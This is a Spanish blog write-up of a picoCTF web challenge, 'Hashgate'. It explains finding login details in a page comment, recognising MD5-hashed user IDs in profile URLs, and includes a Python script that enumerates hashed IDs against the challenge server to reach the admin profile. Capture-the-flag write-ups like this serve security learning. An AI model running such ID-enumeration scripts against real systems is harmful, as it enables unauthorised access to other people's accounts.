Hashgate writeup

Descripción

You have gotten access to an organisation’s portal. Submit your email and password, and it redirects you to your profile. But be careful: just because access to the admin isn’t directly exposed doesn’t mean it’s secure. Maybe someone forgot that obscurity isn’t security… Can you find your way into the admin’s profile for this organisation and capture the flag?

Hashgate solución

Al lanzar la instancia podremos acceder a una página web que nos pide un correo electrónico y una contraseña. Si inspeccionamos el código fuente de la página con CTRL + U podremos ver en un comentario estos datos:

Si iniciamos sesión con estos datos veremos dos cosas importantes:

En primer lugar, que nos proporcionan el ID del usuario:

Access level: Guest (ID: 3000). Insufficient privileges to view classified data. Only top-tier users can access the flag.

En segundo lugar, que la URL toma un ID como ruta:

http://crystal-peak.picoctf.net:60118/profile/user/e93028bdc1aacdfb3687181f2031765d

Sabemos entonces que ‘3000’ equivale a ‘e93028bdc1aacdfb3687181f2031765d’.

‘e93028bdc1aacdfb3687181f2031765d’ es una cadena de 32 caracteres hexadecimales y, por el nombre del CTF, sabemos que es un hash, por lo que podemos intuir que se trata de MD5.

Realizaremos un código en Python que pruebe varios IDs hasta que encuentre el del administrador:

import hashlib
import requests

BASE_URL = "http://crystal-peak.picoctf.net:63110/profile/user"
MIN = 3001
MAX = 4000

def md5(value):
    return hashlib.md5(value.encode("utf-8")).hexdigest()

for number in range(MIN, MAX):
    hash = md5(str(number))
    url = f"{BASE_URL}/{hash}"

    response = requests.get(url, timeout=5)

    if "User not found" not in response.text:
        print(response.text)
        break

Al ejecutarlo obtendremos la flag:

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *